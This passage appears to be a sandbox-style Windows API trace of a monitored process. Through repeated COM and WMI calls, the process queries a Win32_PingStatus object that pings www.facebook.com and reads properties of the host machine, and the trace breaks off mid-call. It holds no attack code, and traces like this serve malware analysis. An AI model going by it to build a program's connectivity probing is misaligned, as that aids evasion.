WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58778, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c58778) returned 0x0 [0140.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58778, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0140.691] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58778) returned 0x3 [0140.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58778, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0140.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58778, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0140.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58778, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0140.691] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0140.691] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0140.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58778, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0140.691] WbemStatusCodeText:IUnknown:Release (This=0x5c58778) returned 0x2 [0140.692] WbemStatusCodeText:IUnknown:Release (This=0x5c58778) returned 0x1 [0140.692] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0140.692] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0140.692] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58778, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c58778) returned 0x0 [0140.692] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58778) returned 0x3 [0140.692] WbemStatusCodeText:IUnknown:Release (This=0x5c58778) returned 0x2 [0140.692] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c58778, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0140.692] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.693] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.693] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.693] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.693] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.693] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.693] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.693] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0140.693] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0140.693] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0140.693] SafeArrayGetLBound (in: psa=0x5c78db8, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0140.694] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.694] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.694] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.694] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.694] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.694] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.694] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.694] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.694] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.694] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.694] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.694] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.694] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.694] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.694] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.694] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.694] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.694] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.694] SysStringByteLen (bstr="__PATH") returned 0xc [0140.694] SysStringByteLen (bstr="__PATH") returned 0xc [0140.694] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e987c*=0, plFlavor=0x22e9880*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22e987c*=3, plFlavor=0x22e9880*=64) returned 0x0 [0140.695] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e98b0*=0, plFlavor=0x22e98b4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e98b0*=8, plFlavor=0x22e98b4*=64) returned 0x0 [0140.695] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.695] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.695] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9908*=0, plFlavor=0x22e990c*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9908*=8, plFlavor=0x22e990c*=64) returned 0x0 [0140.695] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9930*=0, plFlavor=0x22e9934*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e9930*=8, plFlavor=0x22e9934*=64) returned 0x0 [0140.695] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.695] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.695] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9988*=0, plFlavor=0x22e998c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e9988*=8, plFlavor=0x22e998c*=64) returned 0x0 [0140.695] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.695] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.696] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9b68*=0, plFlavor=0x22e9b6c*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22e9b68*=3, plFlavor=0x22e9b6c*=64) returned 0x0 [0140.696] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9b9c*=0, plFlavor=0x22e9ba0*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22e9b9c*=8200, plFlavor=0x22e9ba0*=64) returned 0x0 [0140.696] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9bd0*=0, plFlavor=0x22e9bd4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22e9bd0*=8, plFlavor=0x22e9bd4*=64) returned 0x0 [0140.696] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.696] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.696] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9c1c*=0, plFlavor=0x22e9c20*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22e9c1c*=8, plFlavor=0x22e9c20*=64) returned 0x0 [0140.696] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.696] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.697] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9c68*=0, plFlavor=0x22e9c6c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e9c68*=8, plFlavor=0x22e9c6c*=64) returned 0x0 [0140.697] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.697] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0140.697] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0140.697] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.697] IWbemClassObject:Get (in: This=0x5c50300, wszName="WriteDebugStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9ea4*=0, plFlavor=0x22e9ea8*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9ea4*=0, plFlavor=0x22e9ea8*=0) returned 0x80041002 [0140.697] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0140.698] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58748) returned 0x0 [0140.699] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58748, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0140.699] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58748, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c58788) returned 0x0 [0140.699] WbemStatusCodeText:IUnknown:Release (This=0x5c58748) returned 0x0 [0140.699] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58788, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c58788) returned 0x0 [0140.699] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58788, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0140.699] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58788) returned 0x3 [0140.699] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58788, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0140.699] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58788, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0140.700] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58788, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0140.700] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0140.700] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0140.700] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58788, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0140.700] WbemStatusCodeText:IUnknown:Release (This=0x5c58788) returned 0x2 [0140.700] WbemStatusCodeText:IUnknown:Release (This=0x5c58788) returned 0x1 [0140.700] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0140.700] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0140.700] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58788, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c58788) returned 0x0 [0140.700] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58788) returned 0x3 [0140.700] WbemStatusCodeText:IUnknown:Release (This=0x5c58788) returned 0x2 [0140.700] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c58788, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0140.700] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.704] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.704] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.704] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.704] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.704] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0140.704] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.704] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.704] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0140.705] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.705] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.705] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.705] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.705] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.705] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.705] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.705] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.705] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.705] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.705] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.705] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.705] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.705] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.705] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.705] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.705] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.705] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.705] SysStringByteLen (bstr="__PATH") returned 0xc [0140.705] SysStringByteLen (bstr="__PATH") returned 0xc [0140.706] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea290*=0, plFlavor=0x22ea294*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22ea290*=3, plFlavor=0x22ea294*=64) returned 0x0 [0140.706] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea2c4*=0, plFlavor=0x22ea2c8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ea2c4*=8, plFlavor=0x22ea2c8*=64) returned 0x0 [0140.706] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.706] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.706] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea31c*=0, plFlavor=0x22ea320*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea31c*=8, plFlavor=0x22ea320*=64) returned 0x0 [0140.706] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea344*=0, plFlavor=0x22ea348*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ea344*=8, plFlavor=0x22ea348*=64) returned 0x0 [0140.706] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.706] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.707] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea39c*=0, plFlavor=0x22ea3a0*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22ea39c*=8, plFlavor=0x22ea3a0*=64) returned 0x0 [0140.707] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.707] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.707] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea57c*=0, plFlavor=0x22ea580*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22ea57c*=3, plFlavor=0x22ea580*=64) returned 0x0 [0140.707] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea5b0*=0, plFlavor=0x22ea5b4*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22ea5b0*=8200, plFlavor=0x22ea5b4*=64) returned 0x0 [0140.707] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea5e4*=0, plFlavor=0x22ea5e8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22ea5e4*=8, 